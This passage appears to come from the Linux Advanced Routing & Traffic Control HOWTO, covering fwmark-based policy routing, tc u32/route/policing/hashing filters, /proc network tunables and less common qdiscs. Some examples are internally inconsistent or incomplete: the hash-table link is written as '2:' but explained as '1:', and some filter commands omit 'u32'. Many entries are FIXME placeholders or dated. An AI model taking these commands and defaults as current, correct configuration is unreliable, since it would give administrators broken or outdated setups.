So far we've seen how iproute works, and netfilter was mentioned a few times. This would be a good time to browse through Rusty's Remarkably Unreliable Guides. Netfilter itself can be found here.

Netfilter allows us to filter packets, or mangle their headers. One special feature is that we can mark a packet with a number. This is done with the --set-mark facility.

As an example, this command marks all packets destined for port 25, outgoing mail:

# iptables -A PREROUTING -i eth0 -t mangle -p tcp --dport 25 \
 -j MARK --set-mark 1

Let's say that we have multiple connections, one that is fast (and expensive, per megabyte) and one that is slower, but flat fee. We would most certainly like outgoing mail to go via the cheap route.

We've already marked the packets with a '1', we now instruct the routing policy database to act on this:

# echo 201 mail.out >> /etc/iproute2/rt_tables
# ip rule add fwmark 1 table mail.out
# ip rule ls
0:      from all lookup local
32764:  from all fwmark        1 lookup mail.out
32766:  from all lookup main
32767:  from all lookup default

Now we generate the mail.out table with a route to the slow but cheap link:

# /sbin/ip route add default via 195.96.98.253 dev ppp0 table mail.out

And we are done. Should we want to make exceptions, there are lots of ways to achieve this. We can modify the netfilter statement to exclude certain hosts, or we can insert a rule with a lower priority that points to the main table for our excepted hosts.

We can also use this feature to honour TOS bits by marking packets with a different type of service with different numbers, and creating rules to act on that. This way you can even dedicate, say, an ISDN line to interactive sessions.

Needless to say, this also works fine on a host that's doing NAT ('masquerading').

IMPORTANT: We received a report that MASQ and SNAT at least collide with marking packets. Rusty Russell explains it in this posting. Turn off the reverse path filter to make it work properly.

Note: to mark packets, you need to have some options enabled in your kernel:

IP: advanced router (CONFIG_IP_ADVANCED_ROUTER) [Y/n/?]
 IP: policy routing (CONFIG_IP_MULTIPLE_TABLES) [Y/n/?]
  IP: use netfilter MARK value as routing key (CONFIG_IP_ROUTE_FWMARK) [Y/n/?]

See also Transparent web-caching using netfilter, iproute2, ipchains and squid in the Cookbook.


Linux Advanced Routing & Traffic Control HOWTO: Advanced filters for (re-)classifying packets

 Next Previous Contents

12. Advanced filters for (re-)classifying packets

As explained in the section on classful queueing disciplines, filters are needed to classify packets into any of the sub-queues. These filters are called from within the classful qdisc.

Here is an incomplete list of classifiers available:

fw

Bases the decision on how the firewall has marked the packet. This can be the easy way out if you don't want to learn tc filter syntax. See the Queueing chapter for details.

u32

Bases the decision on fields within the packet (i.e. source IP address, etc)

route

Bases the decision on which route the packet will be routed by

rsvp, rsvp6

Routes packets based on RSVP . Only useful on networks you control - the internet does not respect RSVP.

tcindex

Used in the DSMARK qdisc, see the relevant section.

Note that in general there are many ways in which you can classify packet and that it generally comes down to preference as to which system you wish to use.

Classifiers in general accept a few arguments in common. They are listed here for convenience:

protocol

The protocol this classifier will accept. Generally you will only be accepting only IP traffic. Required.

parent

The handle this classifier is to be attached to. This handle must be an already existing class. Required.

prio

The priority of this classifier. Lower numbers get tested first.

handle

This handle means different things to different filters.

All the following sections will assume you are trying to shape the traffic going to HostA. They will assume that the root class has been configured on 1: and that the class you want to send the selected traffic to is 1:1.

12.1 The "u32" classifier

The U32 filter is the most advanced filter available in the current implementation. It entirely based on hashing tables, which make it robust when there are many filter rules.

In its simplest form the U32 filter is a list of records, each consisting of two fields: a selector and an action. The selectors, described below, are compared with the currently processed IP packet until the first match occurs, and then the associated action is performed. The simplest type of action would be directing the packet into defined CBQ class.

The commandline of tc filter program, used to configure the filter, consists of three parts: filter specification, a selector and an action. The filter specification can be defined as:

tc filter add dev IF [ protocol PROTO ]
                     [ (preference|priority) PRIO ]
                     [ parent CBQ ]

The protocol field describes protocol that the filter will be applied to. We will only discuss case of ip protocol. The preference field (priority can be used alternatively) sets the priority of currently defined filter. This is important, since you can have several filters (lists of rules) with different priorities. Each list will be passed in the order the rules were added, then list with lower priority (higher preference number) will be processed. The parent field defines the CBQ tree top (e.g. 1:0), the filter should be attached to.

The options decribed above apply to all filters, not only U32.

U32 selector

The U32 selector contains definition of the pattern, that will be matched to the currently processed packet. Precisely, it defines which bits are to be matched in the packet header and nothing more, but this simple method is very powerful. Let's take a look at the following examples, taken directly from a pretty complex, real-world filter:

# tc filter add dev eth0 protocol ip parent 1:0 pref 10 u32 \
  match u32 00100000 00ff0000 at 0 flowid 1:10

For now, leave the first line alone - all these parameters describe the filter's hash tables. Focus on the selector line, containing match keyword. This selector will match to IP headers, whose second byte will be 0x10 (0010). As you can guess, the 00ff number is the match mask, telling the filter exactly which bits to match. Here it's 0xff, so the byte will match if it's exactly 0x10. The at keyword means that the match is to be started at specified offset (in bytes) -- in this case it's beginning of the packet. Translating all that to human language, the packet will match if its Type of Service field will have `low delay' bits set. Let's analyze another rule:

# tc filter add dev eth0 protocol ip parent 1:0 pref 10 u32 \
  match u32 00000016 0000ffff at nexthdr+0 flowid 1:10

The nexthdr option means next header encapsulated in the IP packet, i.e. header of upper-layer protocol. The match will also start here at the beginning of the next header. The match should occur in the second, 32-bit word of the header. In TCP and UDP protocols this field contains packet's destination port. The number is given in big-endian format, i.e. older bits first, so we simply read 0x0016 as 22 decimal, which stands for SSH service if this was TCP. As you guess, this match is ambigous without a context, and we will discuss this later.

Having understood all the above, we will find the following selector quite easy to read: match c0a80100 ffffff00 at 16. What we got here is a three byte match at 17-th byte, counting from the IP header start. This will match for packets with destination address anywhere in 192.168.1/24 network. After analyzing the examples, we can summarize what we have learnt.

General selectors

General selectors define the pattern, mask and offset the pattern will be matched to the packet contents. Using the general selectors you can match virtually any single bit in the IP (or upper layer) header. They are more difficult to write and read, though, than specific selectors that described below. The general selector syntax is:

match [ u32 | u16 | u8 ] PATTERN MASK [ at OFFSET | nexthdr+OFFSET]

One of the keywords u32, u16 or u8 specifies length of the pattern in bits. PATTERN and MASK should follow, of length defined by the previous keyword. The OFFSET parameter is the offset, in bytes, to start matching. If nexthdr+ keyword is given, the offset is relative to start of the upper layer header.

Some examples:

# tc filter add dev ppp14 parent 1:0 prio 10 u32 \
     match u8 64 0xff at 8 \
     flowid 1:4

Packet will match to this rule, if its time to live (TTL) is 64. TTL is the field starting just after 8-th byte of the IP header.

# tc filter add dev ppp14 parent 1:0 prio 10 u32 \
     match u8 0x10 0xff at nexthdr+13 \
     protocol tcp \
     flowid 1:3

FIXME: it has been pointed out that this syntax does not work currently.

Stuart DJ Lynne uses this to match ACKs:

## match acks the hard way,
## IP protocol 6,
## IP header length 0x5(32 bit words),
## IP Total length 0x34
## TCP ack set (bit 5, offset 33)
# tc filter add dev ppp14 parent 1:0 protocol ip prio 10 u32 \
            match ip protocol 6 0xff \
            match u8 0x05 0x0f at 0 \
            match u8 0x34 0xff at 3 \
            match u8 0x10 0xff at 33 \
            flowid 1:3

This rule will only match TCP packets with ACK bit set. Here we can see an example of using two selectors, the final result will be logical AND of their results. If we take a look at TCP header diagram, we can see that the ACK bit is second older bit (0x10) in the 14-th byte of the TCP header (at nexthdr+13). As for the second selector, if we'd like to make our life harder, we could write match u8 0x06 0xff at 9 instead of using the specific selector protocol tcp, because 6 is the number of TCP protocol, present in 10-th byte of the IP header. On the other hand, in this example we couldn't use any specific selector for the first match - simply because there's no specific selector to match TCP ACK bits.

Specific selectors

The following table contains a list of all specific selectors the author of this section has found in the tc program source code. They simply make your life easier and increase readability of your filter's configuration.

FIXME: table placeholder - the table is in separate file ,,selector.html''

FIXME: it's also still in Polish :-(

FIXME: must be sgml'ized

Some examples:

# tc filter add dev ppp0 parent 1:0 prio 10 u32 \
     match ip tos 0x10 0xff \
     flowid 1:4

The above rule will match packets which have the TOS field set to 0x10. The TOS field starts at second byte of the packet and is one byte big, so we could write an equivalent general selector: match u8 0x10 0xff at 1. This gives us hint to the internals of U32 filter -- the specific rules are always translated to general ones, and in this form they are stored in the kernel memory. This leads to another conclusion -- the tcp and udp selectors are exactly the same and this is why you can't use single match tcp dst 53 0xffff selector to match TCP packets sent to given port -- they will also match UDP packets sent to this port. You must remember to also specify the protocol and end up with the following rule:

# tc filter add dev ppp0 parent 1:0 prio 10 u32 \
        match tcp dst 53 0xffff \
        match ip protocol 0x6 0xff \
        flowid 1:2

12.2 The "route" classifier

This classifier filters based on the results of the routing tables. When a packet that is traversing through the classes reaches one that is marked with the "route" filter, it splits the packets up based on information in the routing table.

# tc filter add dev eth1 parent 1:0 protocol ip prio 100 route

Here we add a route classifier onto the parent node 1:0 with priority 100. When a packet reaches this node (which, since it is the root, will happen immediately) it will consult the routing table and if one matches will send it to the given class and give it a priority of 100. Then, to finally kick it into action, you add the appropriate routing entry:

The trick here is to define 'realm' based on either destination or source. The way to do it is like this:

# ip route add Host/Network via Gateway dev Device realm RealmNumber

For instance, we can define our destination network 192.168.10.0 with a realm number 10:

# ip route add 192.168.10.0/24 via 192.168.10.1 dev eth1 realm 10

When adding route filters, we can use realm numbers to represent the networks or hosts and specify how the routes match the filters.

# tc filter add dev eth1 parent 1:0 protocol ip prio 100 \
  route to 10 classid 1:10

The above rule says packets going to the network 192.168.10.0 match class id 1:10.

Route filter can also be used to match source routes. For example, there is a subnetwork attached to the Linux router on eth2.

# ip route add 192.168.2.0/24 dev eth2 realm 2
# tc filter add dev eth1 parent 1:0 protocol ip prio 100 \
  route from 2 classid 1:2

Here the filter specifies that packets from the subnetwork 192.168.2.0 (realm 2) will match class id 1:2.

12.3 Policing filters

To make even more complicated setups possible, you can have filters that only match up to a certain bandwidth. You can declare a filter to entirely cease matching above a certain rate, or only to not match only the bandwidth exceeding a certain rate.

So if you decided to police at 4mbit/s, but 5mbit/s of traffic is present, you can stop matching either the entire 5mbit/s, or only not match 1mbit/s, and do send 4mbit/s to the configured class.

If bandwidth exceeds the configured rate, you can drop a packet, reclassify it, or see if another filter will match it.

Ways to police

There are basically two ways to police. If you compiled the kernel with 'Estimators', the kernel can measure for each filter how much traffic it is passing, more or less. These estimators are very easy on the CPU, as they simply count 25 times per second how many data has been passed, and calculate the bitrate from that.

The other way works again via a Token Bucket Filter, this time living within your filter. The TBF only matches traffic UP TO your configured bandwidth, if more is offered, only the excess is subject to the configured overlimit action.

With the kernel estimator

This is very simple and has only one parameter: avrate. Either the flow remains below avrate, and the filter classifies the traffic to the classid configured, or your rate exceeds it in which case the specified action is taken, which is 'reclassify' by default.

The kernel uses an Exponential Weighted Moving Average for your bandwidth which makes it less sensitive to short bursts.

With Token Bucket Filter

Uses the following parameters:

  • buffer/maxburst
  • mtu/minburst
  • mpu
  • rate

Which behave identical to those described in the Token Bucket Filter section.

Overlimit actions

If your filter decides that it is overlimit, it can take 'actions'. Currently, three actions are available:

continue

Causes this filter not to match, but perhaps other filters will.

drop

This is a very fierce option which simply discards traffic exceeding a certain rate. It is often used in the ingress policer and has limited uses. For example, you may have a nameserver that falls over if offered more than 5mbit/s of packets, in which case an ingress filter could be used to make sure no more is ever offered.

Pass/OK

Pass on traffic ok. Might be used to disable a complicated filter, but leave it in place.

reclassify

Most often comes down to reclassification to Best Effort. This is the default action.

Examples

The only real example known is mentioned in the 'Protecting your host from SYN floods' section.

FIXME: if you have used this, please share your experience with us

12.4 Hashing filters for very fast massive filtering

If you have a need for thousands of rules, for example if you have a lot of clients or computers, all with different QoS specifications, you may find that the kernel spends a lot of time matching all those rules.

By default, all filters reside in one big chain which is matched in descending order of priority. If you have 1000 rules, 1000 checks may be needed to determine what to do with a packet.

Matching would go much quicker if you would have 256 chains with each four rules - if you could divide packets over those 256 chains, so that the right rule will be there.

Hashing makes this possible. Let's say you have 1024 cablemodem customers in your network, with IP addresses ranging from 1.2.0.0 to 1.2.3.255, and each has to go in another bin, for example 'lite', 'regular' and 'premium'. You would then have 1024 rules like this:

# tc filter add dev eth1 parent 1:0 protocol ip prio 100 match ip src \
  1.2.0.0 classid 1:1
# tc filter add dev eth1 parent 1:0 protocol ip prio 100 match ip src \
  1.2.0.1 classid 1:1
...
# tc filter add dev eth1 parent 1:0 protocol ip prio 100 match ip src \
  1.2.3.254 classid 1:3
# tc filter add dev eth1 parent 1:0 protocol ip prio 100 match ip src \
  1.2.3.255 classid 1:2

To speed this up, we can use the last part of the IP address as a 'hash key'. We then get 256 tables, the first of which looks like this:

# tc filter add dev eth1 parent 1:0 protocol ip prio 100 match ip src \
  1.2.0.0 classid 1:1
# tc filter add dev eth1 parent 1:0 protocol ip prio 100 match ip src \
  1.2.1.0 classid 1:1
# tc filter add dev eth1 parent 1:0 protocol ip prio 100 match ip src \
  1.2.2.0 classid 1:3
# tc filter add dev eth1 parent 1:0 protocol ip prio 100 match ip src \
  1.2.3.0 classid 1:2

The next one starts like this:

# tc filter add dev eth1 parent 1:0 protocol ip prio 100 match ip src \
  1.2.0.1 classid 1:1
...

This way, only four checks are needed at most, two on average.

Configuration is pretty complicated, but very worth it by the time you have this many rules. First we make a filter root, then we create a table with 256 entries:

# tc filter add dev eth1 parent 1:0 prio 5 protocol ip u32
# tc filter add dev eth1 parent 1:0 prio 5 handle 2: u32 divisor 256

Now we add some rules to entries in the created table:

# tc filter add dev eth1 protocol ip parent 1:0 prio 5 u32 ht 2:7b: \
        match ip src 1.2.0.123 flowid 1:1
# tc filter add dev eth1 protocol ip parent 1:0 prio 5 u32 ht 2:7b: \
        match ip src 1.2.1.123 flowid 1:2
# tc filter add dev eth1 protocol ip parent 1:0 prio 5 u32 ht 2:7b: \
        match ip src 1.2.3.123 flowid 1:3
# tc filter add dev eth1 protocol ip parent 1:0 prio 5 u32 ht 2:7b: \
        match ip src 1.2.4.123 flowid 1:2
This is entry 123, which contains matches for 1.2.0.123, 1.2.1.123, 1.2.2.123, 1.2.3.123, and sends them to 1:1, 1:2, 1:3 and 1:2 respectively. Note that we need to specify our hash bucket in hex, 0x7b is 123.

Next create a 'hashing filter' that directs traffic to the right entry in the hashing table:

# tc filter add dev eth1 protocol ip parent 1:0 prio 5 u32 ht 800:: \
        match ip src 1.2.0.0/16 \
        hashkey mask 0x000000ff at 12 \
        link 2:
Ok, some numbers need explaining. The default hash table is called 800:: and all filtering starts there. Then we select the source address, which lives as position 12, 13, 14 and 15 in the IP header, and indicate that we are only interested in the last part. This we send to hash table 1:, which we created earlier.

It is quite complicated, but it does work in practice and performance will be staggering. Note that this example could be improved to the ideal case where each chain contains 1 filter!


Linux Advanced Routing & Traffic Control HOWTO: Kernel network parameters

 Next Previous Contents

13. Kernel network parameters

The kernel has lots of parameters which can be tuned for different circumstances. While, as usual, the default parameters serve 99% of installations very well, we don't call this the Advanced HOWTO for the fun of it!

The interesting bits are in /proc/sys/net, take a look there. Not everything will be documented here initially, but we're working on it.

(FIXME)

13.1 Reverse Path Filtering

By default, routers route everything, even packets which 'obviously' don't belong on your network. A common example is private IP space escaping onto the internet. If you have an interface with a route of 195.96.96.0/24 to it, you do not expect packets from 212.64.94.1 to arrive there.

Lots of people will want to turn this feature off, so the kernel hackers have made it easy. There are files in /proc where you can tell the kernel to do this for you. The method is called "Reverse Path Filtering". Basically, if the reply to this packet wouldn't go out the interface this packet came in, then this is a bogus packet and should be ignored.

The following fragment will turn this on for all current and future interfaces.

# for i in /proc/sys/net/ipv4/conf/*/rp_filter ; do
>  echo 2 > $i
> done

Going by the example above, if a packet arrived on the Linux router on eth1 claiming to come from the Office+ISP subnet, it would be dropped. Similarly, if a packet came from the Office subnet, claiming to be from somewhere outside your firewall, it would be dropped also.

The above is full reverse path filtering. The default is to only filter based on IPs that are on directly connected networks. This is because the full filtering breaks in the case of asymmetric routing (where packets come in one way and go out another, like satellite traffic, or if you have dynamic (bgp, ospf, rip) routes in your network. The data comes down through the satellite dish and replies go back through normal land-lines).

If this exception applies to you (and you'll probably know if it does) you can simply turn off the rp_filter on the interface where the satellite data comes in. If you want to see if any packets are being dropped, the log_martians file in the same directory will tell the kernel to log them to your syslog.

# echo 1 >/proc/sys/net/ipv4/conf/<interfacename>/log_martians

FIXME: is setting the conf/{default,all}/* files enough? - martijn

13.2 Obscure settings

Ok, there are a lot of parameters which can be modified. We try to list them all. Also documented (partly) in Documentation/ip-sysctl.txt.

Some of these settings have different defaults based on whether you answered 'Yes' to 'Configure as router and not host' while compiling your kernel.

Generic ipv4

As a generic note, most rate limiting features don't work on loopback, so don't test them locally. The limits are supplied in 'jiffies', and are enforced using the earlier mentioned token bucket filter.

The kernel has an internal clock which runs at 'HZ' ticks (or 'jiffies') per second. On intel, 'HZ' is mostly 100. So setting a *_rate file to, say 50, would allow for 2 packets per second. The token bucket filter is also configured to allow for a burst of at most 6 packets, if enough tokens have been earned.

Several entries in the following list have been copied from /usr/src/linux/Documentation/networking/ip-sysctl.txt, written by Alexey Kuznetsov <kuznet@ms2.inr.ac.ru> and Andi Kleen <ak@muc.de>

/proc/sys/net/ipv4/icmp_destunreach_rate

If the kernel decides that it can't deliver a packet, it will drop it, and send the source of the packet an ICMP notice to this effect.

/proc/sys/net/ipv4/icmp_echo_ignore_all

Don't act on echo packets at all. Please don't set this by default, but if you are used as a relay in a DoS attack, it may be useful.

/proc/sys/net/ipv4/icmp_echo_ignore_broadcasts [Useful]

If you ping the broadcast address of a network, all hosts are supposed to respond. This makes for a dandy denial-of-service tool. Set this to 1 to ignore these broadcast messages.

/proc/sys/net/ipv4/icmp_echoreply_rate

The rate at which echo replies are sent to any one destination.

/proc/sys/net/ipv4/icmp_ignore_bogus_error_responses

Set this to ignore ICMP errors caused by hosts in the network reacting badly to frames sent to what they perceive to be the broadcast address.

/proc/sys/net/ipv4/icmp_paramprob_rate

A relatively unknown ICMP message, which is sent in response to incorrect packets with broken IP or TCP headers. With this file you can control the rate at which it is sent.

/proc/sys/net/ipv4/icmp_timeexceed_rate

This the famous cause of the 'Solaris middle star' in traceroutes. Limits number of ICMP Time Exceeded messages sent.

/proc/sys/net/ipv4/igmp_max_memberships

Maximum number of listening igmp (multicast) sockets on the host. FIXME: Is this true?

/proc/sys/net/ipv4/inet_peer_gc_maxtime

FIXME: Add a little explanation about the inet peer storage?
Minimum interval between garbage collection passes. This interval is in effect under low (or absent) memory pressure on the pool. Measured in jiffies.

/proc/sys/net/ipv4/inet_peer_gc_mintime

Minimum interval between garbage collection passes. This interval is in effect under high memory pressure on the pool. Measured in jiffies.

/proc/sys/net/ipv4/inet_peer_maxttl

Maximum time-to-live of entries. Unused entries will expire after this period of time if there is no memory pressure on the pool (i.e. when the number of entries in the pool is very small). Measured in jiffies.

/proc/sys/net/ipv4/inet_peer_minttl

Minimum time-to-live of entries. Should be enough to cover fragment time-to-live on the reassembling side. This minimum time-to-live is guaranteed if the pool size is less than inet_peer_threshold. Measured in jiffies.

/proc/sys/net/ipv4/inet_peer_threshold

The approximate size of the INET peer storage. Starting from this threshold entries will be thrown aggressively. This threshold also determines entries' time-to-live and time intervals between garbage collection passes. More entries, less time-to-live, less GC interval.

/proc/sys/net/ipv4/ip_autoconfig

This file contains the number one if the host received its IP configuration by RARP, BOOTP, DHCP or a similar mechanism. Otherwise it is zero.

/proc/sys/net/ipv4/ip_default_ttl

Time To Live of packets. Set to a safe 64. Raise it if you have a huge network. Don't do so for fun - routing loops cause much more damage that way. You might even consider lowering it in some circumstances.

/proc/sys/net/ipv4/ip_dynaddr

You need to set this if you use dial-on-demand with a dynamic interface address. Once your demand interface comes up, any local TCP sockets which haven't seen replies will be rebound to have the right address. This solves the problem that the connection that brings up your interface itself does not work, but the second try does.

/proc/sys/net/ipv4/ip_forward

If the kernel should attempt to forward packets. Off by default.

/proc/sys/net/ipv4/ip_local_port_range

Range of local ports for outgoing connections. Actually quite small by default, 1024 to 4999.

/proc/sys/net/ipv4/ip_no_pmtu_disc

Set this if you want to disable Path MTU discovery - a technique to determine the largest Maximum Transfer Unit possible on your path. See also the section on Path MTU discovery in the cookbook chapter.

/proc/sys/net/ipv4/ipfrag_high_thresh

Maximum memory used to reassemble IP fragments. When ipfrag_high_thresh bytes of memory is allocated for this purpose, the fragment handler will toss packets until ipfrag_low_thresh is reached.

/proc/sys/net/ipv4/ip_nonlocal_bind

Set this if you want your applications to be able to bind to an address which doesn't belong to a device on your system. This can be useful when your machine is on a non-permanent (or even dynamic) link, so your services are able to start up and bind to a specific address when your link is down.

/proc/sys/net/ipv4/ipfrag_low_thresh

Minimum memory used to reassemble IP fragments.

/proc/sys/net/ipv4/ipfrag_time

Time in seconds to keep an IP fragment in memory.

/proc/sys/net/ipv4/tcp_abort_on_overflow

A boolean flag controlling the behaviour under lots of incoming connections. When enabled, this causes the kernel to actively send RST packets when a service is overloaded.

/proc/sys/net/ipv4/tcp_fin_timeout

Time to hold socket in state FIN-WAIT-2, if it was closed by our side. Peer can be broken and never close its side, or even died unexpectedly. Default value is 60sec. Usual value used in 2.2 was 180 seconds, you may restore it, but remember that if your machine is even underloaded WEB server, you risk to overflow memory with kilotons of dead sockets, FIN-WAIT-2 sockets are less dangerous than FIN-WAIT-1, because they eat maximum 1.5K of memory, but they tend to live longer. Cf. tcp_max_orphans.

/proc/sys/net/ipv4/tcp_keepalive_time

How often TCP sends out keepalive messages when keepalive is enabled.
Default: 2hours.

/proc/sys/net/ipv4/tcp_keepalive_intvl

How frequent probes are retransmitted, when a probe isn't acknowledged.
Default: 75 seconds.

/proc/sys/net/ipv4/tcp_keepalive_probes

How many keepalive probes TCP will send, until it decides that the connection is broken.
Default value: 9.
Multiplied with tcp_keepalive_intvl, this gives the time a link can be nonresponsive after a keepalive has been sent.

/proc/sys/net/ipv4/tcp_max_orphans

Maximal number of TCP sockets not attached to any user file handle, held by system. If this number is exceeded orphaned connections are reset immediately and warning is printed. This limit exists only to prevent simple DoS attacks, you _must_ not rely on this or lower the limit artificially, but rather increase it (probably, after increasing installed memory), if network conditions require more than default value, and tune network services to linger and kill such states more aggressively. Let me remind you again: each orphan eats up to 64K of unswappable memory.

/proc/sys/net/ipv4/tcp_orphan_retries

How may times to retry before killing TCP connection, closed by our side. Default value 7 corresponds to 50sec-16min depending on RTO. If your machine is a loaded WEB server, you should think about lowering this value, such sockets may consume significant resources. Cf. tcp_max_orphans.

/proc/sys/net/ipv4/tcp_max_syn_backlog

Maximal number of remembered connection requests, which still did not receive an acknowledgement from connecting client. Default value is 1024 for systems with more than 128Mb of memory, and 128 for low memory machines. If server suffers of overload, try to increase this number. Warning! If you make it greater than 1024, it would be better to change TCP_SYNQ_HSIZE in include/net/tcp.h to keep TCP_SYNQ_HSIZE*16<=tcp_max_syn_backlog and to recompile kernel.

/proc/sys/net/ipv4/tcp_max_tw_buckets

Maximal number of timewait sockets held by system simultaneously. If this number is exceeded time-wait socket is immediately destroyed and warning is printed. This limit exists only to prevent simple DoS attacks, you _must_ not lower the limit artificially, but rather increase it (probably, after increasing installed memory), if network conditions require more than default value.

/proc/sys/net/ipv4/tcp_retrans_collapse

Bug-to-bug compatibility with some broken printers. On retransmit try to send bigger packets to work around bugs in certain TCP stacks.

/proc/sys/net/ipv4/tcp_retries1

How many times to retry before deciding that something is wrong and it is necessary to report this suspection to network layer. Minimal RFC value is 3, it is default, which corresponds to 3sec-8min depending on RTO.

/proc/sys/net/ipv4/tcp_retries2

How may times to retry before killing alive TCP connection. RFC1122 says that the limit should be longer than 100 sec. It is too small number. Default value 15 corresponds to 13-30min depending on RTO.

/proc/sys/net/ipv4/tcp_rfc1337

This boolean enables a fix for 'time-wait assassination hazards in tcp', described in RFC 1337. If enabled, this causes the kernel to drop RST packets for sockets in the time-wait state.
Default: 0

/proc/sys/net/ipv4/tcp_sack

Use Selective ACK which can be used to signify that specific packets are missing - therefore helping fast recovery.

/proc/sys/net/ipv4/tcp_stdurg

Use the Host requirements interpretation of the TCP urg pointer field.
Most hosts use the older BSD interpretation, so if you turn this on Linux might not communicate correctly with them.
Default: FALSE

/proc/sys/net/ipv4/tcp_syn_retries

Number of SYN packets the kernel will send before giving up on the new connection.

/proc/sys/net/ipv4/tcp_synack_retries

To open the other side of the connection, the kernel sends a SYN with a piggybacked ACK on it, to acknowledge the earlier received SYN. This is part 2 of the threeway handshake. This setting determines the number of SYN+ACK packets sent before the kernel gives up on the connection.

/proc/sys/net/ipv4/tcp_timestamps

Timestamps are used, amongst other things, to protect against wrapping sequence numbers. A 1 gigabit link might conceivably re-encounter a previous sequence number with an out-of-line value, because it was of a previous generation. The timestamp will let it recognise this 'ancient packet'.

/proc/sys/net/ipv4/tcp_tw_recycle

Enable fast recycling TIME-WAIT sockets. Default value is 1. It should not be changed without advice/request of technical experts.

/proc/sys/net/ipv4/tcp_window_scaling

TCP/IP normally allows windows up to 65535 bytes big. For really fast networks, this may not be enough. The window scaling options allows for almost gigabyte windows, which is good for high bandwidth*delay products.

Per device settings

DEV can either stand for a real interface, or for 'all' or 'default'. Default also changes settings for interfaces yet to be created.

/proc/sys/net/ipv4/conf/DEV/accept_redirects

If a router decides that you are using it for a wrong purpose (ie, it needs to resend your packet on the same interface), it will send us a ICMP Redirect. This is a slight security risk however, so you may want to turn it off, or use secure redirects.

/proc/sys/net/ipv4/conf/DEV/accept_source_route

Not used very much anymore. You used to be able to give a packet a list of IP addresses it should visit on its way. Linux can be made to honor this IP option.

/proc/sys/net/ipv4/conf/DEV/bootp_relay

FIXME: fill this in

/proc/sys/net/ipv4/conf/DEV/forwarding

FIXME:

/proc/sys/net/ipv4/conf/DEV/log_martians

See the section on reverse path filters.

/proc/sys/net/ipv4/conf/DEV/mc_forwarding

If we do multicast forwarding on this interface

/proc/sys/net/ipv4/conf/DEV/proxy_arp

If you set this to 1, all other interfaces will respond to arp queries destined for addresses on this interface. Can be very useful when building 'ip pseudo bridges'. Do take care that your netmasks are very correct before enabling this!

/proc/sys/net/ipv4/conf/DEV/rp_filter

See the section on reverse path filters.

/proc/sys/net/ipv4/conf/DEV/secure_redirects

FIXME: fill this in

/proc/sys/net/ipv4/conf/DEV/send_redirects

If we send the above mentioned redirects.

/proc/sys/net/ipv4/conf/DEV/shared_media

FIXME: fill this in

/proc/sys/net/ipv4/conf/DEV/tag

FIXME: fill this in

Neighbor policy

Dev can either stand for a real interface, or for 'all' or 'default'. Default also changes settings for interfaces yet to be created.

/proc/sys/net/ipv4/neigh/DEV/anycast_delay

FIXME: fill this in

/proc/sys/net/ipv4/neigh/DEV/app_solicit

FIXME: fill this in

/proc/sys/net/ipv4/neigh/DEV/base_reachable_time

FIXME: fill this in

/proc/sys/net/ipv4/neigh/DEV/delay_first_probe_time

FIXME: fill this in

/proc/sys/net/ipv4/neigh/DEV/gc_stale_time

FIXME: fill this in

/proc/sys/net/ipv4/neigh/DEV/locktime

FIXME: fill this in

/proc/sys/net/ipv4/neigh/DEV/mcast_solicit

FIXME: fill this in

/proc/sys/net/ipv4/neigh/DEV/proxy_delay

FIXME: fill this in

/proc/sys/net/ipv4/neigh/DEV/proxy_qlen

FIXME: fill this in

/proc/sys/net/ipv4/neigh/DEV/retrans_time

FIXME: fill this in

/proc/sys/net/ipv4/neigh/DEV/ucast_solicit

FIXME: fill this in

/proc/sys/net/ipv4/neigh/DEV/unres_qlen

FIXME: fill this in

Routing settings

/proc/sys/net/ipv4/route/error_burst

FIXME: fill this in

/proc/sys/net/ipv4/route/error_cost

FIXME: fill this in

/proc/sys/net/ipv4/route/flush

FIXME: fill this in

/proc/sys/net/ipv4/route/gc_elasticity

FIXME: fill this in

/proc/sys/net/ipv4/route/gc_interval

FIXME: fill this in

/proc/sys/net/ipv4/route/gc_min_interval

FIXME: fill this in

/proc/sys/net/ipv4/route/gc_thresh

FIXME: fill this in

/proc/sys/net/ipv4/route/gc_timeout

FIXME: fill this in

/proc/sys/net/ipv4/route/max_delay

FIXME: fill this in

/proc/sys/net/ipv4/route/max_size

FIXME: fill this in

/proc/sys/net/ipv4/route/min_adv_mss

FIXME: fill this in

/proc/sys/net/ipv4/route/min_delay

FIXME: fill this in

/proc/sys/net/ipv4/route/min_pmtu

FIXME: fill this in

/proc/sys/net/ipv4/route/mtu_expires

FIXME: fill this in

/proc/sys/net/ipv4/route/redirect_load

FIXME: fill this in

/proc/sys/net/ipv4/route/redirect_number

FIXME: fill this in

/proc/sys/net/ipv4/route/redirect_silence

FIXME: fill this in


Linux Advanced Routing & Traffic Control HOWTO: Advanced & less common queueing disciplines

 Next Previous Contents

14. Advanced & less common queueing disciplines

Besides the queues mentioned earlier, the kernel contains some other more specialized queues which are mentioned here, should you find that you have needs not addressed by the other queues.

14.1 bfifo/pfifo

These classless queues are even simpler than pfifo_fast in that they lack the internal bands - all traffic is really equal. They have one important benefit though, they have some statistics. So even if you don't need shaping or prioritizing, you can use this qdisc to determine the backlog on your interface.

pfifo has a length measured in packets, bfifo in bytes.

Parameters & usage

limit

Specifies the length of the queue. Measured in bytes for bfifo, in packets for pfifo. Defaults to the interface txqueuelen (see pfifo_fast chapter) packets long or txqueuelen*mtu bytes for bfifo.

14.2 Clark-Shenker-Zhang algorithm (CSZ)

This is so theoretical that not even Alexey (the main CBQ author) claims to understand it. From his source:

"David D. Clark, Scott Shenker and Lixia Zhang Supporting Real-Time Applications in an Integrated Services Packet Network: Architecture and Mechanism.

As I understand it, the main idea is to create WFQ flows for each guaranteed service and to allocate the rest of bandwith to dummy flow-0. Flow-0 comprises the predictive services and the best effort traffic; it is handled by a priority scheduler with the highest priority band allocated for predictive services, and the rest --- to the best effort packets.

Note that in CSZ flows are NOT limited to their bandwidth. It is supposed that the flow passed admission control at the edge of the QoS network and it doesn't need further shaping. Any attempt to improve the flow or to shape it to a token bucket at intermediate hops will introduce undesired delays and raise jitter.

At the moment CSZ is the only scheduler that provides true guaranteed service. Another schemes (including CBQ) do not provide guaranteed delay and randomize jitter."

Does not currently seem like a good canidate to use, unless you've read and understand the article mentioned.

14.3 DSMARK

Esteve Camps Chust <marvin@grn.es>
This text is an extract from my thesis on "QoS Support in Linux", September 2000.

Source documents:

  • Draft-almesberger-wajhak-diffserv-linux-01.txt.
  • Examples in iproute2 distribution.
  • White Paper-QoS protocols and architectures and IP QoS Frequently Asked Questions both by Quality of Service Forum.

This chapter was written by Esteve Camps <esteve@hades.udg.es>.

Introduction

